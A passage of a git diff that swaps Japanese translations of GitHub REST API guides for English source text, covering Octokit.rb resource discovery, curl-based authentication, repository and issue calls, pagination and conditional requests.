those repositories your app can access for a user. Use the workflow below to discover those repositories. + +As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us. ``` ruby require 'octokit' @@ -38,7 +38,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -次に、アプリケーションの[ユーザに対するOAuthトークン][make-authenticated-request-for-user]を渡します。 +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -46,7 +46,7 @@ Octokit.auto_paginate = true client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -これで、[アクセス可能なユーザのリポジトリ][list-repositories-for-current-user]をフェッチする準備が整いました。 +Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]: ``` ruby client.repositories.each do |repository| @@ -63,11 +63,11 @@ client.repositories.each do |repository| end ``` -## アプリケーションがアクセス可能なユーザのOrganizationを調べる +## Discover the organizations that your app can access for a user -アプリケーションは、ユーザに対してOrganizationに関するあらゆるタスクを実行できます。 アプリケーションがタスクを実行するには、必要な権限を持つ[OAuth認証][scopes] が必要です。 たとえば、`read:org`スコープでは[Teamのリストを取得][list-teams]でき、`user`スコープでは[ユーザのOrganizationに属するメンバーを取得][publicize-membership]できます。 ユーザがこれらのスコープのうちの1つ以上をアプリケーションに付与すると、ユーザのOrganizationをフェッチする準備が整います。 +Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations. -上記でリポジトリを調べたときと同様に、まずは[GitHubのOctokit.rb][octokit.rb] Rubyライブラリを呼び出し、[ページネーション][pagination]を扱えるようにしましょう。 +Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us: ``` ruby require 'octokit' @@ -75,7 +75,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -次に、アプリケーションの[ユーザに対するOAuthトークン][make-authenticated-request-for-user]を渡して、APIクライアントを初期化します。 +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -83,7 +83,7 @@ Octokit.auto_paginate = true client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -これで、[アプリケーションがアクセス可能なユーザのOrganizationを取得][list-orgs-for-current-user]できます。 +Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]: ``` ruby client.organizations.each do |organization| @@ -91,11 +91,11 @@ client.organizations.each do |organization| end ``` -### ユーザのすべてのOrganizationメンバーシップを返す +### Return all of the user's organization memberships -このドキュメントを端から端まで読んだ方は、[ユーザのパブリックなOrganizationに属するメンバーを取得するAPIメソッド][list-public-orgs]に気付いたかもしれません。 ほとんどのアプリケーションでは、このAPIメソッドを避けるべきです。 このメソッドは、ユーザのパブリックなOrganizationに属するメンバーだけを返し、プライベートなOrganizationに属するメンバーは返しません。 +If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships. -アプリケーションでは通常、アクセスを認可されたすべてのユーザのOrganizationが求められます。 上記のワークフローでは、まさにこれを実行しています。 +As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that. [basics-of-authentication]: /rest/guides/basics-of-authentication [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user @@ -103,13 +103,10 @@ end [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user [list-teams]: /rest/reference/teams#list-teams [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests -[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ [octokit.rb]: https://github.com/octokit/octokit.rb -[octokit.rb]: https://github.com/octokit/octokit.rb [pagination]: /rest#pagination [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ diff --git a/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md b/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md index 98f0d7440c..74ab5b1968 100644 --- a/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md +++ b/translations/ja-JP/content/rest/guides/getting-started-with-the-rest-api.md @@ -1,6 +1,6 @@ --- -title: REST APIを使ってみる -intro: 認証とエンドポイントの例から始めて、REST APIを使用するための基礎を学びます。 +title: Getting started with the REST API +intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.' redirect_from: - /guides/getting-started/ - /v3/guides/getting-started @@ -11,23 +11,28 @@ versions: ghec: '*' topics: - API -shortTitle: 始めましょう - REST API +shortTitle: Get started - REST API --- -日常的なユースケースに取り組みながら、APIの中心的な概念を見ていきましょう。 +Let's walk through core API concepts as we tackle some everyday use cases. {% data reusables.rest-api.dotcom-only-guide-note %} -## 概要 +## Overview -ほとんどのアプリケーションは、任意の言語において既存の[ラッパーライブラリ][wrappers]を使用しています。ただ、まずは基底となっているAPI HTTPメソッドについて知ることが大切です。 +Most applications will use an existing [wrapper library][wrappers] in the language +of your choice, but it's important to familiarize yourself with the underlying API +HTTP methods first. -There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using an alternative client, note that you are required to send a valid [User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} +There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using +an alternative client, note that you are required to send a valid +[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} ### Hello World -まずはセットアップをテストすることから始めましょう。 コマンドプロンプトを開き、次のコマンドを入力します。 +Let's start by testing our setup. Open up a command prompt and enter the +following command: ```shell $ curl https://api.github.com/zen @@ -35,9 +40,9 @@ $ curl https://api.github.com/zen > Keep it logically awesome. ``` -レスポンスは、私たちの設計思想からランダムに選択されます。 +The response will be a random selection from our design philosophies. -次に、[Chris Wanstrathの][defunkt github][GitHubプロフィール][users api]を`GET`します。 +Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]: ```shell # GET /users/defunkt @@ -55,12 +60,12 @@ $ curl https://api.github.com/users/defunkt > } ``` -うーん、[JSON][json]っぽいですね。 `-i`フラグを追加して、ヘッダを入れてみましょう。 +Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers: ```shell $ curl -i https://api.github.com/users/defunkt -> HTTP/2 200 +> HTTP/2 200 > server: GitHub.com > date: Thu, 08 Jul 2021 07:04:08 GMT > content-type: application/json; charset=utf-8 @@ -99,29 +104,38 @@ $ curl -i https://api.github.com/users/defunkt > } ``` -レスポンスヘッダの中に、ちょっと面白いものがありますね。 思っていたとおり、`Content-Type`は`application/json`です。 +There are a few interesting bits in the response headers. As expected, the +`Content-Type` is `application/json`. -`X-`で始まるヘッダはすべてカスタムヘッダで、HTTPの仕様にはありません。 例: +Any headers beginning with `X-` are custom headers, and are not included in the +HTTP spec. For example: -* `X-GitHub-Media-Type`の値は`github.v3`です。 これは、レスポンスの[メディアタイプ][media types]を伝えています。 メディアタイプは、出力をAPI v3にするために役立ちました。 これについては、後ほど詳しく説明します。 -* `X-RateLimit-Limit`と`X-RateLimit-Remaining`のヘッダに注目してください。 この2つのヘッダは、1つのローリング期間 (通常は1時間) に[1つのクライアントが行えるリクエストの数][rate-limiting]と、クライアントが既に消費したリクエストの数を示しています。 +* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types] +for the response. Media types have helped us version our output in API v3. We'll +talk more about that later. +* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This +pair of headers indicate [how many requests a client can make][rate-limiting] in +a rolling time period (typically an hour) and how many of those requests the +client has already spent. -## 認証 +## Authentication -認証されていないクライアントは、1時間に60件のリクエストを行うことができます。 1時間あたりのリクエストを増やすには、_認証_が必要です。 In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires [authentication][authentication]. +Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to +_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires +[authentication][authentication]. -### 個人アクセストークンの使用 +### Using personal access tokens -The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuthトークンには[個人アクセストークン][personal token]が含まれています。 +The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token]. -`-u`フラグを使って、ユーザ名を設定します。 +Use a `-u` flag to set your username: ```shell $ curl -i -u your_username {% data variables.product.api_url_pre %}/users/octocat ``` -プロンプトが表示されたらOAuthトークンを入力できますが、そのための変数を設定することをお勧めします。 +When prompted, you can enter your OAuth token, but we recommend you set up a variable for it: You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided. @@ -130,9 +144,9 @@ $ curl -i -u your_username:$token {% data variables.product.api_url_pre ``` -認証の際、`X-RateLimit-Limit`ヘッダが示す通り、レート制限が1時間に5,000リクエストに上がったことがわかるはずです。 1時間あたりの呼び出し数が増えるだけでなく、認証するとAPIを使用してプライベート情報を読み書きできます。 +When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API. -[個人アクセストークンの設定ページ][tokens settings]から、簡単に[**個人アクセストークン**を作成][personal token]できます。 +You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]: {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} {% warning %} @@ -143,20 +157,22 @@ To help keep your information secure, we highly recommend setting an expiration {% endif %} {% ifversion fpt or ghes or ghec %} -![個人トークンの選択](/assets/images/personal_token.png) +![Personal Token selection](/assets/images/personal_token.png) {% endif %} {% ifversion ghae %} -![個人トークンの選択](/assets/images/help/personal_token_ghae.png) +![Personal Token selection](/assets/images/help/personal_token_ghae.png) {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %} API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date. {% endif %} -### ユーザプロフィールの取得 +### Get your own user profile -When properly authenticated, you can take advantage of the permissions associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. たとえば、あなたのプロフィールを取得してみましょう。 +When properly authenticated, you can take advantage of the permissions +associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting +[your own user profile][auth user api]: ```shell $ curl -i -u your_username:your_token {% data variables.product.api_url_pre %}/user @@ -173,71 +189,89 @@ $ curl -i -u your_username:your_token {% data variables.produc > } ``` -今回は、以前に[@defunkt][defunkt github]について取得した公開情報の同じセットに加えて、あなたのユーザプロフィールのパブリックではない情報もあるはずです。 たとえば、アカウントの{% data variables.product.product_name %}プランに関する詳細を持つ`plan`オブジェクトがレスポンス中にあります。 +This time, in addition to the same set of public information we +retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account. -### OAuthトークンのアプリケーションへの使用 +### Using OAuth tokens for apps -他のユーザに代わりAPIを使用してプライベートな情報を読み書きする必要があるアプリは、 [OAuth][oauth]を使用すべきです。 +Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth]. -OAuthは_トークン_を使用します。 トークンには、次の2つの重要な機能があります。 +OAuth uses _tokens_. Tokens provide two big features: -* **アクセスを取り消せる**: ユーザはサードパーティアプリケーションへの認可をいつでも取り消すことができます -* **制限付きアクセス**: ユーザはサードパーティーアプリケーションを認可する前に、トークンが提供する特定のアクセスを確認できます +* **Revokable access**: users can revoke authorization to third party apps at any time +* **Limited access**: users can review the specific access that a token + will provide before authorizing a third party app -トークンは[web フロー][webflow]から作成してください。 アプリケーションはユーザを{% data variables.product.product_name %}に送信してログインします。 それから{% data variables.product.product_name %}はアプリケーションの名前と、ユーザが認可した場合のアクセス権レベルを示すダイアログを表示します。 ユーザがアクセスを認可すると、{% data variables.product.product_name %}はユーザをアプリケーションにリダイレクトします。 +Tokens should be created via a [web flow][webflow]. An application +sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog +indicating the name of the app, as well as the level of access the app +has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %} +redirects the user back to the application: -![GitHubのOAuthプロンプト](/assets/images/oauth_prompt.png) +![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png) -**OAuthトークンはパスワードと同様に扱ってください。**他のユーザと共有したり、安全でない場所に保存したりしてはいけません。 ここにあるトークンのサンプルは架空のものであり、不要な被害を防ぐため名前を変更しています。 +**Treat OAuth tokens like passwords!** Don't share them with other users or store +them in insecure places. The tokens in these examples are fake and the names have +been changed to protect the innocent. -さて、これで認証された呼び出しのコツをつかみました。それでは次は[リポジトリ API][repos-api]に進みましょう。 +Now that we've got the hang of making authenticated calls, let's move along to +the [Repositories API][repos-api]. -## リポジトリ +## Repositories -Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository information. 以前にユーザ情報をフェッチしたのと同じ方法で、[リポジトリの詳細を`GET`][get repo]できます。 +Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository +information. We can [`GET` repository details][get repo] in the same way we fetched user +details earlier: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap ``` -同様に、[認証済みのユーザのリポジトリを表示][user repos api]できます。 +In the same way, we can [view repositories for the authenticated user][user repos api]: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/user/repos ``` -また、[別のユーザのリポジトリを一覧表示][other user repos api]できます。 +Or, we can [list repositories for another user][other user repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos ``` -あるいは、[Organizationのリポジトリを一覧表示][org repos api]することもできます。 +Or, we can [list repositories for an organization][org repos api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos ``` -これらの呼び出しから返される情報は、認証時にトークンが持っているスコープにより異なります。 +The information returned from these calls will depend on which scopes our token has when we authenticate: -{% ifversion not ghae %} -* `public_repo` [スコープ][scopes]を持つトークンは、GitHub.com上で見るためのアクセス権を私たちが持つすべてのパブリックリポジトリを含むレスポンスを返します。{% endif %} -* `repo` [スコープ][scopes]を持つトークンは、{% data variables.product.product_location %}上で私たちが見るためのアクセスを持つすべての{% ifversion not ghae %}パブリック{% else %}インターナル{% endif %}及びプライベートリポジトリを含むレスポンスを返します。 +{%- ifversion fpt or ghec or ghes %} +* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}. +{%- endif %} +* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}. -[Docs][repos-api]に記載されている通り、これらのメソッドは`type`パラメータを取り、これによって、ユーザがリポジトリに対して持つアクセス権に基づき、返されるリポジトリをフィルタリングできます。 こうすることで、直接所有するリポジトリ、Organizationのリポジトリ、またはチームによりユーザがコラボレーションするリポジトリに限定してフェッチすることができます。 +As the [docs][repos-api] indicate, these methods take a `type` parameter that +can filter the repositories returned based on what type of access the user has +for the repository. In this way, we can fetch only directly-owned repositories, +organization repositories, or repositories the user collaborates on via a team. ```shell $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner" ``` -この例では、octocatが所有するリポジトリのみを取得し、コラボレーションするリポジトリは取得しません。 URLが引用符で囲まれていることに注目してください。 シェルの設定によっては、cURLはURLを引用符で囲まないとクエリ文字列型を無視することがあります。 +In this example, we grab only those repositories that octocat owns, not the +ones on which she collaborates. Note the quoted URL above. Depending on your +shell setup, cURL sometimes requires a quoted URL or else it ignores the +query string. -### リポジトリの作成 +### Create a repository -既存のリポジトリ情報をフェッチすることは一般的なユースケースですが、 -{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. [リポジトリを作成する][create repo]には、 -詳細情報や設定オプションを含んだいくつかのJSONを`POST`する必要があります。 +Fetching information for existing repositories is a common use case, but the +{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo], +we need to `POST` some JSON containing the details and configuration options. ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ @@ -250,11 +284,14 @@ $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next o {% data variables.product.api_url_pre %}/user/repos ``` -この最小限の例では、ブログ用の新しいプライベートリポジトリを作成しています ([GitHub Pages][pages]で提供されるかもしれません)。 このブログは{% ifversion not ghae %}パブリックになり{% else %}すべてのEnterpriseメンバーからアクセスできるようになり{% endif %}ますが、このリポジトリはプライベートにしました。 このステップでは、READMEと[nanoc][nanoc]フレーバーの[.gitignore テンプレート][gitignore templates]によるリポジトリの初期化も行います。 +In this minimal example, we create a new private repository for our blog (to be served +on [GitHub Pages][pages], perhaps). Though the blog {% ifversion not ghae %}will be public{% else %}is accessible to all enterprise members{% endif %}, we've made the repository private. In this single step, we'll also initialize it with a README and a [nanoc][nanoc]-flavored [.gitignore template][gitignore templates]. -生成されたリポジトリは、`https://github.com//blog`にあります。 オーナーであるOrganization以下にリポジトリを作成するには、APIメソッドを `/user/repos`から`/orgs//repos`に変更するだけです。 +The resulting repository will be found at `https://github.com//blog`. +To create a repository under an organization for which you're +an owner, just change the API method from `/user/repos` to `/orgs//repos`. -次に、新しく作成したリポジトリをフェッチしましょう。 +Next, let's fetch our newly created repository: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog @@ -266,36 +303,46 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/pengwynn/blog > } ``` -あれれ？ どこにいったのでしょう。 リポジトリを_プライベート_にして作成したので、表示するには認証する必要があります。 古参のHTTPユーザの方なら、`403`が出ると思っていたかもしれません。 Since we don't want to leak information about private repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can neither confirm nor deny the existence of this repository." +Oh noes! Where did it go? Since we created the repository as _private_, we need +to authenticate in order to see it. If you're a grizzled HTTP user, you might +expect a `403` instead. Since we don't want to leak information about private +repositories, the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API returns a `404` in this case, as if to say "we can +neither confirm nor deny the existence of this repository." -## 問題 +## Issues -{% data variables.product.product_name %}のIssue用UIは、「必要十分」なワークフローを提供しつつ、邪魔にならないということを目指しています。 {% data variables.product.product_name %} [Issues API][issues-api]を使えば、他のツールからデータを引き出したり、Issueを作成したりして、あなたのTeamに合ったワークフローを作成できます。 +The UI for Issues on {% data variables.product.product_name %} aims to provide 'just enough' workflow while +staying out of your way. With the {% data variables.product.product_name %} [Issues API][issues-api], you can pull +data out or create issues from other tools to create a workflow that works for +your team. -GitHub.comと同じように、Issues APIは認証されたユーザがIssueを表示するためのメソッドをいくつか提供します。 [すべてのIssueを表示][get issues api]するには、`GET /issues`を呼び出します。 +Just like github.com, the API provides a few methods to view issues for the +authenticated user. To [see all your issues][get issues api], call `GET /issues`: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/issues ``` -[あなたの{% data variables.product.product_name %} Organizationのうちの1つのIssue][get issues api]のみを取得するには、`GET -/orgs//issues`を呼び出します。 +To get only the [issues under one of your {% data variables.product.product_name %} organizations][get issues api], call `GET +/orgs//issues`: ```shell $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \ {% data variables.product.api_url_pre %}/orgs/rails/issues ``` -また、[1つのリポジトリにあるすべてのIssue][repo issues api]を取得することもできます。 +We can also get [all the issues under a single repository][repo issues api]: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues ``` -### ページネーション +### Pagination -Railsのような規模のプロジェクトになれば、万単位のIssueがあります。 [ページネーション][pagination]を行い、API呼び出しを複数回行ってデータを取得する必要があります。 直近で行った呼び出しを繰り返してみましょう。今回はレスポンスヘッダに注目してください。 +A project the size of Rails has thousands of issues. We'll need to [paginate][pagination], +making multiple API calls to get the data. Let's repeat that last call, this +time taking note of the response headers: ```shell $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues @@ -307,13 +354,20 @@ $ curl -i {% data variables.product.api_url_pre %}/repos/rails/rails/issues > ... ``` -[`Link`ヘッダ][link-header]は、外部リソースへのリンクに対するレスポンスの方法を提供します。今回の場合は、追加のデータページです。 呼び出しで30 (デフォルトのページサイズ) を超えるIssueを検出したので、APIは次のページと最後のページの場所を伝えます。 +The [`Link` header][link-header] provides a way for a response to link to +external resources, in this case additional pages of data. Since our call found +more than thirty issues (the default page size), the API tells us where we can +find the next page and the last page of results. -### Issue の作成 +### Creating an issue -Issueのリストでページネーションを行う方法を確認したので、次はAPIから[Issueを作成][create issue]しましょう。 +Now that we've seen how to paginate lists of issues, let's [create an issue][create issue] from +the API. -Issueを作成するには認証される必要があるので、ヘッダにOAuthトークンを渡します。 また、タイトル、本文、およびJSONの本文にあるラベルを、Issueを作成したい、リポジトリ以下の`/issues`パスに渡します。 +To create an issue, we need to be authenticated, so we'll pass an +OAuth token in the header. Also, we'll pass the title, body, and labels in the JSON +body to the `/issues` path underneath the repository in which we want to create +the issue: ```shell $ curl -i -H 'Authorization: token {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}' \ @@ -365,11 +419,14 @@ $ {% data variables.product.api_url_pre %}/repos/pengwynn/api-sandbox/issues > } ``` -レスポンスでは、新しく作成されたIssueに2つのポインタを提供し、それは両方とも`Location`レスポンスヘッダとJSONレスポンスの `url`フィールドにあります。 +The response gives us a couple of pointers to the newly created issue, both in +the `Location` response header and the `url` field of the JSON response. -## 条件付きリクエスト +## Conditional requests -良きAPI利用者であるために非常に大切なのは、変更されていない情報をキャッシュして、レート制限を尊重するということです。 APIは[条件付きリクエスト][conditional-requests]をサポートしており、正しいことを行うための役に立ちます。 最初に呼び出した、Chris Wanstrathのプロフィールを取り上げてみましょう。 +A big part of being a good API citizen is respecting rate limits by caching information that hasn't changed. The API supports [conditional +requests][conditional-requests] and helps you do the right thing. Consider the +first call we made to get defunkt's profile: ```shell $ curl -i {% data variables.product.api_url_pre %}/users/defunkt @@ -378,7 +435,10 @@ $ curl -i {% data variables.product.api_url_pre %}/users/defunkt > etag: W/"61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0" ``` -JSONの本文に加え、HTTPステータスコード `200`と`ETag`ヘッダに注目してください。 [ETag][etag]はレスポンスのフィンガープリントです。 後続の呼び出しにこれを渡すと、変更されたリソースだけを渡すようAPIに伝えることができます。 +In addition to the JSON body, take note of the HTTP status code of `200` and +the `ETag` header. +The [ETag][etag] is a fingerprint of the response. If we pass that on subsequent calls, +we can tell the API to give us the resource again, only if it has changed: ```shell $ curl -i -H 'If-None-Match: "61e964bf6efa3bc3f9e8549e56d4db6e0911d8fa20fcd8ab9d88f13d513f26f0"' \ @@ -387,24 +447,25 @@ $ {% data variables.product.api_url_pre %}/users/defunkt > HTTP/2 304 ``` -`304`ステータスは、直近のリクエストからリソースが変更されておらず、レスポンスには本文が含まれないことを示しています。 特典として、`304`レスポンスは[レート制限][rate-limiting]にカウントされません。 +The `304` status indicates that the resource hasn't changed since the last time +we asked for it and the response will contain no body. As a bonus, `304` responses don't count against your [rate limit][rate-limiting]. -ヤッター！ Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! +Woot! Now you know the basics of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API! -* Basic & OAuth認証 -* リポジトリおよびIssueのフェッチと作成 -* 条件付きリクエスト +* Basic & OAuth authentication +* Fetching and creating repositories and issues +* Conditional requests -続きのAPIガイドで[認証の基本][auth guide]を学びましょう！ +Keep learning with the next API guide [Basics of Authentication][auth guide]! [wrappers]: /libraries/ [curl]: http://curl.haxx.se/ [media types]: /rest/overview/media-types [oauth]: /apps/building-integrations/setting-up-and-registering-oauth-apps/ [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/ +[create a new authorization API]: /rest/reference/oauth-authorizations#create-a-new-authorization [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ [repos-api]: /rest/reference/repos -[repos-api]: /rest/reference/repos [pages]: http://pages.github.com [nanoc]: http://nanoc.ws/ [gitignore templates]: https://github.com/github/gitignore @@ -412,13 +473,14 @@ $ {% data variables.product.api_url_pre %}/users/defunkt [link-header]: https://www.w3.org/wiki/LinkHeader [conditional-requests]: /rest#conditional-requests [rate-limiting]: /rest#rate-limiting -[rate-limiting]: /rest#rate-limiting [users api]: /rest/reference/users#get-a-user -[defunkt github]: https://github.com/defunkt +[auth user api]: /rest/reference/users#get-the-authenticated-user [defunkt github]: https://github.com/defunkt [json]: http://en.wikipedia.org/wiki/JSON [authentication]: /rest#authentication -[personal token]: /articles/creating-an-access-token-for-command-line-use +[2fa]: /articles/about-two-factor-authentication +[2fa header]: /rest/overview/other-authentication-methods#working-with-two-factor-authentication +[oauth section]: /rest/guides/getting-started-with-the-rest-api#oauth [personal token]: /articles/creating-an-access-token-for-command-line-use [tokens settings]: https://github.com/settings/tokens [pagination]: /rest#pagination @@ -430,6 +492,6 @@ $ {% data variables.product.api_url_pre %}/users/defunkt [other user repos api]: /rest/reference/repos#list-repositories-for-a-user [org repos api]: /rest/reference/repos#list-organization-repositories [get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user -[get issues api]: /rest/reference/issues#list-issues-assigned-to-the-authenticated-user [repo issues api]: /rest/reference/issues#list-repository-issues [etag]: http://en.wikipedia.org/wiki/HTTP_ETag +[2fa section]: /rest/guides/getting-started-with-the-rest-api#two-factor-authentication diff --git a/translations/ja-JP/content/rest/overview/api-previews.md b/translations/ja-JP/content/rest/overview/api-previews.md index dee98b9fe6..54bb112651 100644 --- a/translations/ja-JP/content/rest/overview/api-previews.md +++ b/translations/ja-JP/content/rest/overview/api-previews.md @@ -1,6 +1,6 @@ --- -title: API プレビュー -intro: API プレビューを使用して新機能を試し、これらの機能が正式なものになる前にフィードバックを提供できます。 +title: API previews +intro: You can use API previews to try out new features and provide feedback before these features become official. redirect_from: - /v3/previews versions: @@ -13,208 +13,230 @@ topics: --- -API プレビューを使用すると、正式に GitHub API の一部になる前に、新しい API や既存の API メソッドへの変更を試すことができます。 +API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API. -プレビュー期間中は、開発者からのフィードバックに基づいて機能を変更することがあります。 変更をする際には、事前の通知なく[開発者blog](https://developer.github.com/changes/)でアナウンスします。 +During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice. -API プレビューにアクセスするには、リクエストの ` Accept` ヘッダー内でカスタムの[メディアタイプ](/rest/overview/media-types)を提供しなければなりません。 各プレビューの機能ドキュメントに、どのカスタムメディアタイプを提供するのかが示されています。 +To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the 